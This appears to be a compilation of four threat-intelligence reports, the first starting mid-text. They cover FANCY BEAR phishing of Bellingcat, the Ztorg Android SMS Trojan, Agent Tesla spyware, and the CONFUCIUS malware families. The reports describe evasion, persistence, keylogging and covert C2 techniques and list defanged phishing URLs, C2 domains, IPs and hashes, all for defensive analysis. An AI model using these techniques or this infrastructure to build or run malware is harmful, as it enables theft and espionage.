Cyber-berkut[.]im While certainly not definitive, the use of a mail.com email address to register domains is consistent with recently identified FANCY BEAR registration activity against the DCCC, WADA, and CAS. ## Tracing out FB Infrastructure Based on Bellingcat Input The activity that Bellingcat alerted us to provided a plethora of domains, IP addresses, email addresses, and other registration and hosting information for us to pivot off of to identify other pertinent infrastructure. In an upcoming blog post, we’ll seek to identify as much FANCY BEAR infrastructure and aliases as possible using the ThreatConnect platform and capabilities from some of our industry partners. Reviewing the CATA501836 and Carbon2u name servers, we were able to identify dozens of active domains that fit the FANCY BEAR mold and likely spoof organizations that Moscow would seek to compromise. Pivoting off of Bellingcat’s email headers we were able to identify hundreds of domains and IPs, and dozens of email addresses and aliases most likely used by FANCY BEAR, some of which were not previously identified. This review primarily identified historical FANCY BEAR information, but the conclusions from it help verify FANCY BEAR TTP assessments, provide additional targeting context, and may be useful in retrospective reviews of malicious activity. ## Conclusion The campaign against Bellingcat provides yet another example of sustained targeting against an organization that shines a light on Russian perfidy. The spearphishing campaign is classic FANCY BEAR activity while CyberBerkut’s role raises yet more questions about the group’s ties to Moscow. These end-to-end cyber operations begin with targeting and exploitation and end with strategic leaks and other active measures employed against those with whom they disagree. These efforts go above and beyond traditional intelligence requirements such as gaining insight into a sensitive project or sources. Vilifying the messenger and dumping their personal data is part of the game, intended to intimidate and embarrass those that speak ill of Moscow. If Russia is willing to go to these lengths to compromise a small journalist organization and its contributors, consider what they are willing to do to major news and media outlets that publish similar articles. While many organizations remain reticent to share information, this knowledge is the prerequisite to establishing how widespread such efforts are and the adversary’s modus operandi. The BEARs win if their active measures campaigns push, scare, or intimidate their targets into doing what they want. If you encounter a BEAR, you’re doing something right. Don’t back down. And turn on two-factor authentication for everything. ## Update On October 5, 2016, probable FANCY BEAR actors again sent a spearphishing message to a Bellingcat contributor. This spearphishing message spoofed Google security services, similar to those previously used to target Bellingcat. FANCY BEAR used a shortening service to mask the malicious link, similar to the previous messages, but it appears the actors attempted to obfuscate their activity by using two separate shortening services to hide the final malicious link. The tiny.cc link that is in the spearphishing message actually points to a TinyURL shortened URL. The TinyURL in turn points to the below URL: hxxp://myaccount.google.com-changepassword-securitypagesettingmyaccountgooglepagelogin.id833[.]ga This URL is appended with a target-specific base64 encoded string as was seen in the previous spearphishing messages targeting Bellingcat and others. The id833[.]ga domain is hosted at the 89.40.181[.]119 IP (Bucharest, RO) which also hosts the domain id834[.]ga. There is a subdomain for the id834[.]ga similar to the URL above that is also hosted at the same IP. This suggests that the id834[.]ga domain has also been operationalized, though we have no information indicating who has been targeted with it. The WHOIS records for these domains did not contain any additional information on the registrants or other domains they may have registered. Using ThreatConnect’s Email Import feature, we identified that the spearphishing message was sent through Yandex mail servers using the email address g.mail2017@yandex[.]com. This was the first identified spearphish against Bellingcat since July 2016 and suggests that FANCY BEAR activity against them is ongoing. Other organizations involved in the MH17 investigation that would draw Moscow’s ire should be on the lookout for similar activity.
# Ztorg: from rooting to SMS **Authors** Roman Unuchek I’ve been monitoring Google Play Store for new Ztorg Trojans since September 2016, and have so far found several dozen new malicious apps. All of them were rooting malware that used exploits to gain root rights on the infected device. Then, in the second half of May 2017, I found one that wasn’t. Distributed on Google Play through two malicious apps, it is related to the Ztorg Trojans, although not a rooting malware but a Trojan-SMS that can send Premium rate SMS and delete incoming SMS. The apps had been installed from Google Play more than 50,000 and 10,000 times respectively. Kaspersky Lab products detect the two Trojan apps as Trojan-SMS.AndroidOS.Ztorg.a. We reported the malware to Google, and both apps have been deleted from the Google Play Store. The first malicious app, called “Magic browser,” was uploaded to Google Play on May 15, 2017, and was installed more than 50,000 times. The second app, called “Noise Detector,” with the same malicious functionality, was installed more than 10,000 times. ## What can they do? After starting, the Trojan will wait for 10 minutes before connecting to its command and control (C&C) server. It uses an interesting technique to get commands from the C&C: it makes two GET requests to the C&C, and in both includes part of the International Mobile Subscriber Identity (IMSI). The first request will look like this: `GET c.phaishey.com/ft/x250_c.txt`, where 250 – first three digits of the IMSI. If the Trojan receives some data in return, it will make the second request. The second request will look like this: `GET c.phaishey.com/ft/x25001_0.txt`, where 25001 – first five digits of the IMSI. ### Why does the Trojan need these digits from the IMSI? The interesting thing about the IMSI is that the first three digits are the MCC (mobile country code) and the fourth and fifth digits are the MNC (mobile network code). Using these digits, the cybercriminals can identify the country and mobile operator of the infected user. They need this to choose which premium rate SMS should be sent. In answer to these requests, the Trojan may receive an encrypted JSON file with some data. This data should include a list of offers, and every offer carries a string field called ‘url,’ which may or may not contain an actual url. The Trojan will try to open/view the field using its own class. If this value is indeed a url, the Trojan will show its content to the user. But if it is something else and carries an “SMS” substring, the user will send an SMS containing the text supplied to the number provided. Malicious code where the Trojan decides if it should send an SMS. This is an unusual way to send SMS. Just after it receives urls to visit, or SMS to send, the Trojan will turn off the device sound and start to delete all incoming SMS. I wasn’t able to get any commands for the Trojans distributed through Google Play. But for other Trojans located elsewhere that have the same functionality, I got the command: `{"icon":"http://down.rbksbtmk.com/pic/four-dault-06.jpg","id":"-1","name":"Brower","result":1,"status":1,"url":"http://global.621.co/trace?offer_id=111049&aff_id=100414&type=1"}` It was a regular advertising offer. ## WAP billing subscriptions I was able to find several more malicious apps with the same functionality distributed outside the Google Play Store. The interesting thing is that they don’t look like standalone Trojans, more like an additional module for some Trojan. Further investigation revealed that these Trojans were installed by a regular Ztorg Trojan along with other Ztorg modules. In a few of these Trojans, I found that they download a JS file from the malicious url using the MCC. I downloaded several JS files, using different MCCs, to find out what cybercriminals are going to do with users from different countries. I wasn’t able to get a file for a US MCC, but for other countries that I tried I received files with some functions. All the files contain a function called “getAocPage” which most likely references AoC – Advice of Charge. After analyzing these files, I found out that their main purpose is to perform clickjacking attacks on web pages with WAP billing. In doing so, the Trojan can steal money from the user’s mobile account. WAP billing works in a similar way to Premium rate SMS, but usually in the form of subscriptions and not one-time payments as most Premium rate SMS. It means that urls which the Trojan receives from the CnC may not only be advertising urls, but also urls with WAP billing subscriptions. Furthermore, some Trojans with this functionality use CnC urls that contain “/subscribe/api/” which may reference subscriptions too. All of these Trojans, including Trojans from Google Play, are trying to send SMS from any device. To do so they are using lots of methods to send SMS. In total, the “Magic browser” app tries to send SMS from 11 different places in its code. Cybercriminals are doing this in order to be able to send SMS from different Android versions and devices. Furthermore, I was able to find another modification of the Trojan-SMS.AndroidOS.Ztorg that is trying to send an SMS via the “am” command, although this approach should not work. The “Magic browser” app was promoted in a similar way to other Ztorg Trojans. Both the “Magic browser” and “Noise detector” apps shared code similarities with other Ztorg Trojans. Furthermore, the latest version of the “Noise detector” app contains the encrypted file “girl.png” in the assets folder of the installation package. After decryption, this file becomes a Ztorg Trojan. I found several more Trojans with the same functionality that were installed by a regular Ztorg Trojan along with the other Ztorg modules. And it isn’t the first case where additional Ztorg modules were distributed from Google Play as a standalone Trojan. In April 2017, I found that a malicious app called “Money Converter” had been installed more than 10,000 times from Google Play. It uses Accessibility Services to install apps from Google Play. Therefore, the Trojan can silently install and run promoted apps without any interaction with the user, even on updated devices where it cannot gain root rights. ## Trojan-SMS vs. rooting There were two malicious apps on Google Play with the same functionality – “Noise Detector” and “Magic browser,” but I think that they each had a different purpose. “Magic browser” was uploaded first and I assume that the cybercriminals were checking if they were able to upload this kind of functionality. After they uploaded the malicious app, they didn’t update it with newer versions. But it is a different story with “Noise Detector” – here it looks like the cybercriminals were trying to upload an app infected with a regular version of the Ztorg Trojan. But in the process of uploading, they decided to add some malicious functionality to make money while they were working on publishing the rooting malware. And the history of “Noise Detector” updates proves it. On May 20, they uploaded a clean app called “Noise Detector.” A few days later, they updated it with another clean version. Then, a few days after that, they uploaded a version to Google Play that contained an encrypted Ztorg Trojan, but without the possibility of decrypting and executing it. On the following day, they finally updated their app with the Trojan-SMS functionality, but still didn’t add the possibility to execute the encrypted Ztorg module. It is likely that, if the app hadn’t been removed from Google Play, they would have added this functionality at the next stage. There is also the possibility that attempting to add this functionality is what alerted Google to the Trojan’s presence and resulted in its deletion. ## Conclusions We found a very unusual Trojan-SMS being distributed through Google Play. It not only uses around a dozen methods to send SMS, but also initializes these methods in an unusual way: by processing web-page loading errors using a command from the CnC. And it can open advertising urls. Furthermore, it is related to Ztorg malware with the same functionality, that is often installed by Ztorg as an additional module. By analyzing these apps, I found that cybercriminals are working on clickjacking WAP billing. It means that these Trojans may not only open ad urls, or send Premium rate SMS, but also open web-pages with WAP billing and steal money from a user’s account. To hide these activities, the Trojans turn off the device sound and delete all incoming SMS. This isn’t the first time that the cybercriminals distributed Ztorg modules through Google Play. For example, in April 2017, they uploaded a module that can click on Google Play Store app buttons to install or even buy promoted apps. Most likely, the attackers are publishing Ztorg modules to make some additional money while they are trying to upload the regular rooting Ztorg Trojan. I suggest this because one of the malicious apps had an encrypted Ztorg module but it wasn’t able to decrypt it. **MD5** F1EC3B4AD740B422EC33246C51E4782F E448EF7470D1155B19D3CAC2E013CA0F 55366B684CE62AB7954C74269868CD91 A44A9811DB4F7D39CAC0765A5E1621AC 1142C1D53E4FBCEFC5CCD7A6F5DC7177
# Threat Bulletin: Exploring the Differences and Similarities of Agent Tesla v2 & v3 Agent Tesla is a spyware that has been around since 2014. It’s in active development, constantly being updated and improved with new features, obfuscation, and encryption methods. The malware is sold as a service with a relatively cheap licensing model, which makes it particularly easy to use and can explain its distribution on such a wide scale. At the time of writing, two versions of Agent Tesla can still be found in the wild – version 2 and 3. Version 3 comes with some updates and additional features and is currently the most prevalent. Agent Tesla’s most common and successful delivery method is through email, either in the form of spam or more targeted campaigns (OPEC+, COVID-19, ISPS), where the malware is bundled as an attachment, usually in the form of a document or a compressed archive. In the following Threat Bulletin, we’ll explore the delivery process of an Agent Tesla sample and some of the differences and similarities between different versions of Agent Tesla. With that in mind, we begin by looking into a fairly recent sample of Agent Tesla (v3) delivered as an email attachment. ## Agent Tesla – Initial Stages The email arrives with an attachment posing as an invoice with the .doc extension but is actually an RTF document. When it’s opened, it exploits CVE-2017-11882 to execute further stages. The shellcode used in the exploitation of the Equation Editor (eqnedt32.exe) is responsible for downloading and executing the next stage. Interestingly, with this delivery, the threat actors leverage the CMSTP.exe to launch further stages. CMSTP is usually used to install Connection Manager service profiles. It takes an .INF file’s path as an argument. It describes the profile’s characteristics and the steps to be taken when installing it. This can be abused to start another executable by a legitimate, signed binary or used as a UAC bypass. It’s one of the Living Off The Land techniques. In this case, the .INF file itself seems to have been taken from a public example (by Tyler Applebaum). It extends the installation with a RunPreSetupCommandsSection which allows one to run commands before the profile is installed. The malicious actor leverages this to run the malware. During the following steps of the execution, we observe how Agent Tesla makes sure that it’s not easily discovered by adding its image path as an exclusion for Windows Defender. Additionally, it also disables the UAC dialog by overwriting the corresponding settings in the registry. Doing this, the user won’t be notified or prompted for permission if an elevated (requiring administrator access token) action is taken. Thus, Agent Tesla is silently installed. Finally, the actual Agent Tesla payload is extracted and injected using the process hollowing method. We have observed many samples using this approach; however, there were also cases using .NET in-memory reflective loading or a similar method. The process of delivering and loading Agent Tesla varies greatly, but the actual payload has many similarities even between versions. ## Agent Tesla – Execution Flow Even though Agent Tesla has been in development for at least 7 years, the overall execution flow hasn’t changed much. Some new features were added to the newer versions of Agent Tesla, but the behavior has remained fairly similar. The following section summarizes the high-level execution steps it usually performs. In some cases, we have observed that the order changes slightly, but it doesn’t impact the behavior. It also highlights additions made in the newer version of Agent Tesla (v3). At the beginning of its execution, Agent Tesla often uses certain methods to evade automatic analyses. Some of the common evasion techniques include the introduction of an execution delay, which can evade sandboxes that have a limited monitoring duration, and checking the user and computer name for certain hard-coded values that could indicate it’s being analyzed. The spyware also makes sure that no other processes with the same name are currently running. It iterates over all processes with the same name and kills any which aren’t the current process. Each infected system is identified by a unique ID generated from different hardware information. There are different ways Agent Tesla can achieve this. It applies the MD5 hashing algorithm on a string created by concatenating different hardware properties: - System Serial Number - CPU identification value retrieved from the processorID property of the Win32_Processor WMI management class - The MAC address taken from the MACAddress property of the Win32_NetworkAdapterConfiguration WMI class. It takes the MAC address of a network adapter that is currently connected. The hardware ID is generated at the beginning of the execution but appears to be only used during the HTTP communication. Another common “evasion” between versions that Agent Tesla uses at the beginning of its execution is the GetLastInputInfo function. If no input event was detected in the last 10 minutes, a configuration variable is set. Its next step is usually to copy itself to a less obvious location (an installation folder) like %appdata%, which is also configurable and might not be used at all. The config file also indicates if the file should have the hidden and system attributes set. Persistence is achieved by installing itself as a startup application in the registry. In this case, Agent Tesla also enables the corresponding startup entry via \Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run by setting the value 02 00 00 00 00 00. Furthermore, it also deletes the ZoneIdentifier from the base image. A ZoneIdentifier is an Alternate Data Stream created when a file is downloaded and saved from the internet. This information is used by Windows and various security products. Deleting it makes the malware look as if it wasn’t downloaded from the internet. Depending on the configuration, Agent Tesla is able to take screenshots periodically. It uses a timer that will invoke the registered callback function according to a specified interval which is also configurable. One difference between versions is in the choice of protocols the malware can use to exfiltrate the collected information. Version 2 and 3 are both capable of using HTTP, SMTP, and FTP. On top of that, v3 comes with another possibility which is sending a document to a Telegram channel. A new addition that came with Agent Tesla v3 is the ability to collect clipboard data and the external IP of the infected host. Furthermore, v3 comes with the option to use the Tor proxy for its HTTP communication. This is a newer addition which isn’t found in the previous versions. If the corresponding configuration is set, Agent Tesla first tries to kill all currently running Tor instances and then download and set up the Tor client. With HTTP communication set up, Agent Tesla starts one of its main tasks – credential stealing. Agent Tesla v3 has some additions to the application list that it targets. Both versions are also able to function as a keylogger. The keylogging functionality is again implemented with the help of timers. The set interval specifies how often the logs are collected and exfiltrated. The hook itself is installed using the native SetWindowsHookExA function with idHook WH_KEYBOARD_LL which takes an application-defined hook. ## String and Config Decryption All strings that are used by Agent Tesla are encrypted by default and mostly used on demand. The ability to decrypt Agent Tesla’s strings allows one to extract parts of the configuration information like the C2 server, the passwords used, or other data related to network connections. ### Version 2 Agent Tesla v2’s encrypted strings are usually located in the .text segment of the PE file. To be exact, they start 0x50 bytes past the beginning of the section. The strings are encrypted using AES in CBC mode. Each string is encrypted with its own Key and IV. Strings are stored in an array of objects, where each object is an array of units. The decryption routine takes an encoded offset into the array which is then decoded at runtime to extract the corresponding string. ### Version 3 Agent Tesla v3 changes how the strings are encrypted. AES is no longer used for decryption. Instead, the encrypted strings are stored in a byte array which is decrypted by XORing the value with the current array offset and a hard-coded key. This decryption takes place when the class is constructed, i.e., the array and the decryption loop are implemented inside a class constructor. The decrypted strings are stored without any separators as a single blob of characters. When a particular string is required, a function that takes the offset and length of the string as parameters is used. This also means that it’s harder to statically extract information from the strings and requires parsing of the actual decoding function wherever it’s used and extracting its arguments. ## Conclusions Understanding a malware family, its usual delivery methods, and the techniques used can be very beneficial from an incident response standpoint. The research of a family can give the blue team enough information to start an internal investigation if a breach is suspected. They can better assess the initial impact of such a breach, can look for indicators and start their initial analysis from there and expand outwards.
# Confucius Says... Malware Families Get Further By Abusing Legitimate Websites **By Tom Lancaster and Micah Yates** **September 28, 2016** **Category:** Malware, Unit 42 **Tags:** Confucius, Quora, Yahoo ## Introduction When malware wants to communicate home, most use domain names, allowing them to resolve host names to IP addresses of their servers. To increase the likelihood of successful communication, cyber espionage threat actors are increasingly abusing legitimate web services instead of DNS lookups to retrieve a command and control address. This negates the requirement to make DNS requests for domains that may be considered malicious and are therefore blocked. For attackers, this allows their initial communications channel to be obscured amongst other traffic to legitimate services. This blog post examines two similar malware families that utilize this technique to abuse legitimate websites, their connections to each other, and their connections to known espionage campaigns. The first is called **CONFUCIUS_A**, a malware family linked to a series of attacks associated with a backdoor attack method known as **SNEEPY** (aka ByeByeShell) first reported by Rapid7 in 2013. The second is called **CONFUCIUS_B**, which has a loose link to the series of attacks associated with Operation Patchwork and The Hangover Report. In 2013, Rapid7 reported on a series of relatively amateur attacks against Pakistani targets. For a long time after the report was published, little changed in how the attackers operated. Although many of the attacks we see today from the group remain the same, we began observing a new backdoor, **CONFUCIUS_A**, being dropped by the attackers starting in early 2014. Specifically, the command and control addresses used across multiple SNEEPY samples were being used by CONFUCIUS_A samples. In most cases where we have been able to identify the droppers, the attack begins with an executable file being sent directly to targets via e-mail. Occasionally, the attackers leverage builders for known document exploits, but most of the time they still use self-extracting binaries. The themes of the phishing e-mails vary according to the target, but invariably the file is compiled with an icon that matches the expected content. Examples of the themes used in attacks using CONFUCIUS_A include: - Invitations to events relevant to the recipients - Pornographic material - Fake updates to popular software products - News content - Political content We have limited evidence of who the targets are, but they appear to primarily be based in the Middle East and parts of Asia, with a focus on Pakistan. In addition to those targets, there are occasional targets seen at enterprises across the globe. Early samples of the CONFUCIUS_A malware did not use any legitimate web services for DNS resolution; however, more recent samples use a range of legitimate web services to resolve command and control addresses, the highest profile of which are Yahoo and Quora. The malware was named based on the content of one of the first pages we saw being retrieved to determine a command and control address, which is written in the style of a ‘Confucius says’ joke. Sometimes malware communicates with legitimate web services simply to perform a connectivity check, but in this case, the page was too specific to suggest that was what the attackers were doing. So we decided to investigate how the malware processed the resulting content. ## For the purposes of illustrating how the command and control address is decoded We will look at the sample with SHA256: `a21b956e1be9dcfa8a28c38dc0bb0657508b5588bcf1435052700aea22910d7d`. This sample of the malware requests the page shown below in order to determine what IP to POST to. Reading through the answer, it all makes sense until the section highlighted is reached. By looking at the underlying code, we found that CONFUCIUS_A is looking for keywords between the phrases “suggested options are” and “hope it will help” and decoding the interim phrase. The decoding is done using a simple lookup table. The lookup table begins with the marker for the beginning and end of the useful content and then contains 255 words, each of which corresponds to a number (for example, prudent == 255). Using this lookup table in memory, it can then derive the command and control address from the text between the markers, “fill plate clever road” becomes `91.210.107[.]104`. ## Additional malware contacting Yahoo and Quora During our investigation into the CONFUCIUS_A malware, one of the ways we tried to identify variations of the backdoor was by looking for samples that communicated with the same legitimate services as known CONFUCIUS_A samples. In doing so, we encountered another set of samples exhibiting very similar behavior, which we refer to as **CONFUCIUS_B**, due to their similarity and likely similar origins. Unfortunately, we have fewer details about how CONFUCIUS_B malware is delivered or the targets it intends to hit. At first glance, CONFUCIUS_B looks very similar to CONFUCIUS_A, and they are also packaged in plain SFX binary files. The CONFUCIUS_B executable is disguised as a PowerPoint presentation, using a Right-To-Left-Override (RTLO) trick and a false icon. When executed, the self-extracting RAR package drops four files to the `%AppData%` folder. `Fancy.vbs` executes `fancy.bat`, which in turn opens the presentation and runs the second stage executable `svchost.exe`. As with CONFUCIUS_A, the initial beacons from this `svchost.exe` are also to Yahoo and Quora, but the pages contacted, while odd, did not contain any obvious markers; rather, they appeared to be entirely gibberish. So far, the execution chain, involving an SFX RAR and multiple scripts, is similar to some samples of SNEEPY, which we associate with CONFUCIUS_A, but this is where the similarities between CONFUCIUS_A and CONFUCIUS_B begin to diverge. `Svchost.exe` has a custom obfuscation scheme not seen in CONFUCIUS_A. This obfuscation allows us to quickly identify all of the CONFUCIUS_B variants; their hashes are included at the end of this post. Underneath that custom obfuscation lies a UPX packed executable which contains the Yahoo and Quora functionality that originally piqued our interest. After unpacking the UPX code, we began reverse engineering the resulting binary to see how CONFUCIUS_B interacted with the Yahoo and Quora pages it initially requested. We discovered that CONFUCIUS_B pieces together its DNS resolution from keywords in the Yahoo and Quora posts similar to that of CONFUCIUS_A. CONFUCIUS_B takes certain keywords in the Quora and Yahoo pages and applies them to a lookup table in memory. Using that lookup table, an IP address to POST to is derived. The way this is done can be seen in a memory dump from the running process when it contacts a relevant address. The lookup table takes keywords and assigns them numbers, or a ‘.’ character, in order to build an IP address. By applying the lookup table to the Quora page, we can derive the IP the malware will POST to next for further communications. This method of substituting words for components of an IP address, and the repeat use of Yahoo and Quora are novel, suggesting it is likely that the same malware author, or group of malware authors, authored both backdoors. ## Link to Patchwork and test samples The domain `com-account-jfnjkr[.]xyz` is linked to the CONFUCIUS_B attacks as it was a C2 for the sample `c975954fbb473ed8ce3a98ca2c4977bf22d2413db01eda87599524969565836f`, which downloads CONFUCIUS_B. On May 24, 2016, the same domain hosted the sample `8cfd559756630d967bb597b087af98adc75895a1ec52586d53a2d898e4a6e9b0`, a basic file stealer malware associated with the Patchwork attackers, via a shared mutex: `{9754893678976458374658764387563876}`. All of the CONFUCIUS_B samples share the same mutex, “rCkBs1Uj493NaMXYY1LZ”. Pivoting through samples in Palo Alto Networks AutoFocus, we found what appears to be an early test sample of the malware that creates the same mutex; the SHA256 of the sample is `0bd7db12ba8d9ce9d29983ef76205864dce146eb14cebe32a3431f994cc770ee`. We believe it is a test sample, as the configured command and control domain for this sample is `breachframework[.]com`. This can also be linked back to known CONFUCIUS_B samples via a shared SSL certificate. `Breachframework[.]com` previously resolved to `5.135.85[.]16`, which used the certificate `f6438919d27d08aa545e2f90b58d445cccac6c09`, the same certificate was used by `104.23.35[.]15`, a known command and control address for CONFUCIUS_B. These relationships are summarized in the following overview. ## Conclusion In this blog post, we discussed two separate malware variations that behave in very similar ways and use similar techniques to acquire a C2 address, with both using Yahoo Answers and Quora to evade traditional mechanisms for blocking command and control domains. Although we cannot link the two clusters of activity by their infrastructure, the technique used to resolve domains is unusual. We also believe that both clusters of activity have links to attacks with likely Indian origins; the CONFUCIUS_A attacks are linked to the use of SNEEPY/BYEBYESHELL and the CONFUCIUS_B have a loose link to Hangover. The two malware families themselves are also very similar, and therefore we think that the shared technique is an indication of a single developer, or development company, behind both CONFUCIUS_A and CONFUCIUS_B. It is likely that the two clusters of activity are operated by two different operators; however, the command and control infrastructure used by each cluster differs in the choices of hosting providers. Palo Alto Networks AutoFocus customers can further explore these malware families and related campaigns with the tags: - Confucious_A - Confucious_B - ApacheStealer - Sneepy All samples discussed in the blog and those in the appendix are detected as malicious by Wildfire. IPS customers are protected by IPS signature 14150. ## Exemplary hashes, command and control domains, and resolver URLs ### SHA256 List ``` 8cfd559756630d967bb597b087af98adc75895a1ec52586d53a2d898e4a6e9b0 APACHESTEALER fb9064abd562012f7c4ffec335f1b669d7ffa0ce724b81f83840474e544c0113 DEMO_CONFUCIUS_B 0bd7db12ba8d9ce9d29983ef76205864dce146eb14cebe32a3431f994cc770ee DEMO_CONFUCIUS_B ec15a7698eed7a925b0c074239a92b9f3efdd1054ea281fa914c0bf63d73d319 CONFUCIUS_A 09fcb9444b415781d1d01d0b43c37df441a381042a3f2f91f04890b9c4632c5e CONFUCIUS_A 487d43f38006a609715f95d2e8dd605446de820cafcc453d57a452bc67972a7a CONFUCIUS_A a21b956e1be9dcfa8a28c38dc0bb0657508b5588bcf1435052700aea22910d7d CONFUCIUS_A 7b9454ac9c96db562c2b961a72aa1fece896cd1633a1ec3139eb75346a086f64 CONFUCIUS_B d0176a1d30827a42dda4f575ede0d2d8ad0f71306e41f67b1d1fe999f0e82838 CONFUCIUS_B dd34f8236b314ce5123fc036c7ae1d0b4ef6da3ae781d639bcc1d5a30b197b2c CONFUCIUS_B c975954fbb473ed8ce3a98ca2c4977bf22d2413db01eda87599524969565836f CONFUCIUS_B 6115b1a37cf58d39010fd19bcf83f73e4eae943d95fcb29f8078c6d0e5c37a56 CONFUCIUS_B 700296a05cbe947e24e04f976db596c2471681e69740593fb5d02e4adbd983be CONFUCIUS_B c66660142d9ba85bb89c8277447f3c21d0a7d1ee12fd38cd61091ed02ffba80e CONFUCIUS_B 627724fa447e3937f3cdc5388285935a52d6970a616f4ac3d02e583d160cbfc0 CONFUCIUS_B 248010893646d292254efb4c575b1bfd58d8b75deee38af8616e9e83b695833a CONFUCIUS_A (early) 28fd73965f766ab400b655b2c3ffb7c2949112c3c3d9cf05639a382c84828f12 CONFUCIUS_A (early) 2f3005a06cf6819690da987414e7db797ad1955861be6f3a8a89e689602fd022 CONFUCIUS_A (early) 4462454586b2969821e4b97d0d4387624cd9854ffc9e16750b5771990a707af8 CONFUCIUS_A (early) 50f0bf106781452d20f12a33df04e1ebc2d805c9721df83169af3cf394198434 CONFUCIUS_A (early) 86f9a01dca754ff0e2c1108dba2cebaab4483b122be1e312f0b24643b1523b49 CONFUCIUS_A (early) 9e90f9acb9752e2dc7faa28b7d07330bae69431a1055697420b165521f6768e3 CONFUCIUS_A (early) e93dd106f5c031e773f6f490a6df6ef165a0782072c98702a741433b62375829 CONFUCIUS_A (early) 51a3758eaf22a893c1771aa70e78e22b775243424abce755dd48cc83879ddd94 CONFUCIUS_A (early) 1220815b09694b522a33a4feacfc20ca90e03728c9f5e2bd4288e67e2e1257de SNEEPY 1b682fa08d99b1f57e545cab2e0cd553282682f7706a72afe5ee63264002e010 SNEEPY 63e0cf48e461ea6e2663fcbb5727e02b39641c86c2860e979a353b3e997eb8d7 SNEEPY 7ec2de26d9564f60bb079fbf66e7ce7ff9fe5331937137e3b836023fde7ac1b1 SNEEPY 83718971c1cc94ff4cd7b430e57d3d5b61d1032028c23aee56b7148bb6f176c2 SNEEPY a50808054fcf359eea0f684b9f84a4ac12e2bf1467a4c33446f7445a4b3bafaa SNEEPY ``` ### Resolver URL list ``` https://www.quora.com/Is-bingle-hate-and-love-the-green-or-it-fire-couple-fire-tell-me-you-like-or-couple-weed-or-hate-weed-with-deedy-love-claggy-1 https://answers.yahoo.com/question/index?qid=20160301074835AA7cF60&sort=N hxxps://in.answers.yahoo.com/question/index?qid=20160229024628AA4XQ7r hxxp://www.nefuri.com/hi_is_bingle_hate_and_love_the_green_or_it_fire_couple_fire_tell_me_you_like_or_couple_weed_or_hate_weed_with_deedy_block_claggy_1562153.html hxxp://www.answerlib.org/qv/20160229115557AAXc2Ib.html hxxps://in.answers.yahoo.com/question/index?qid=20160229115557AAXc2Ib hxxps://www.question.com/what-are-the-precautions-for-diphtheria-tetanus-998506.html hxxp://findnerd.com/list/view/How-to-make-a-simple-settings-page-in-android/15891/ hxxp://able2know.org/topic/312620-1 hxxp://bs71.blog.com/2016/03/01/performing-namaz/ hxxp://www.linkibl.com/l/define-simple-support-boundary-condition-of-a-beam-solid-mechanics hxxp://www.education.com/question/working-model-depict-buoyancy/ hxxp://www.quora.com/Where-can-I-find-Port-de-Vaire hxxp://www.fixya.com/support/t25556697-intel_desktop_board_dh67cl_having_vga hxxp://www.education.com/question/scientist-calculate-distance-planets hxxp://technology.blurtit.com/4492774/import-mri-ct-and-microct-data hxxp://bs71.blog.com/2016/03/01/performing-namaz/ hxxp://www.linkibl.com/l/define-simple-support-boundary-condition-of-a-beam-solid-mechanics hxxps://www.quora.com/Is-bingle-hate-and-love-the-green-or-it-fire-couple-fire-tell-me-you-like-or-couple-weed-or-hate-weed-with-deedy-love-claggy-1 hxxps://www.quora.com/How-fertilization-takes-place-in-Plants ``` ### C2 Addresses ``` adhath-learning[.]com stepontheroof[.]com ns1[.]b3autybab3s[.]com stilletowheels[.]com b3autybab3s[.]com fierybarrels[.]com mail[.]cooperednews[.]info ns2[.]cooperednews[.]info teensechs[.]com newstodayreviews[.]com ns2[.]softwares-free[.]com www[.]fierybarrels[.]com ns1[.]cooperednews[.]info znaniye-onlayn[.]com cooperednews[.]info nophoz[.]com twigreader[.]com zadnitsa[.]com bookerstream[.]com teens3xweb[.]com 130dozen[.]com transseksualov[.]com cutedazzle[.]com speedeagles[.]com www[.]templetom[.]com gallopingroses[.]com didlynews[.]info ns2[.]didlynews[.]info ns1[.]didlynews[.]info purple-banana[.]com uchitel-nitsa[.]com couchypotatoes[.]com your3x[.]com trk[.]greatleonidas[.]com greatleonidas[.]com chucknorr[.]com tangyball[.]com templetom[.]com younghogs[.]com www[.]cutedazzle[.]com neistovo[.]com roseauster[.]com www[.]gallopingroses[.]com onepickle[.]com wond3rfulworld[.]com ns2[.]b3autybab3s[.]com softwares-free[.]com www[.]romanrugby[.]com gomadweb[.]com wetcottonballs[.]com ns1[.]softwares-free[.]com sechshun8[.]com newsscrapper[.]com jobs[.]undp[.]tangyball[.]com news-letters-4u[.]com magzinehog[.]com jupanto[.]com www[.]tumblebin[.]com little-nuts[.]com fullhalfempty[.]com mysugarbin[.]com ftp[.]wond3rfulworld[.]com blog[.]younghogs[.]com ww2[.]younghogs[.]com www[.]younghogs[.]com ww1[.]younghogs[.]com mx2[.]newstodayreviews[.]com mx1[.]newstodayreviews[.]com mx3[.]newstodayreviews[.]com www[.]onepickle[.]com quicktime[.]softwares-free[.]com tumblebin[.]com ns1[.]bidux[.]com[.]avtofrom[.]us www[.]nophoz[.]com breachframework[.]website breachframework[.]com com-account-jfnjkr[.]xyz 104[.]219[.]250[.]204 216[.]189[.]148[.]125 149[.]202[.]110[.]2 104[.]219[.]250[.]205 5[.]135[.]85[.]16 78[.]128[.]92[.]101 206[.]221[.]188[.]98 104[.]232[.]35[.]15 5[.]39[.]23[.]192 95[.]211[.]135[.]167 46[.]165[.]207[.]109 95[.]211[.]38[.]134 46[.]165[.]249[.]223 95[.]211[.]135[.]162 46[.]165[.]207[.]140 46[.]165[.]207[.]120 95[.]211[.]107[.]75 94[.]242[.]219[.]203 95[.]211[.]38[.]133 46[.]165[.]207[.]112 95[.]211[.]3[.]135 91[.]210[.]107[.]107 46[.]165[.]207[.]114 91[.]210[.]107[.]108 95[.]211[.]205[.]142 95[.]211[.]107[.]71 46[.]165[.]207[.]116 95[.]211[.]135[.]168 46[.]165[.]207[.]134 46[.]165[.]207[.]98 46[.]165[.]207[.]113 46[.]165[.]207[.]138 94[.]242[.]219[.]199 46[.]165[.]207[.]142 46[.]165[.]207[.]99 95[.]211[.]107[.]72 95[.]211[.]38[.]135 46[.]165[.]207[.]132 46[.]165[.]207[.]108 ```
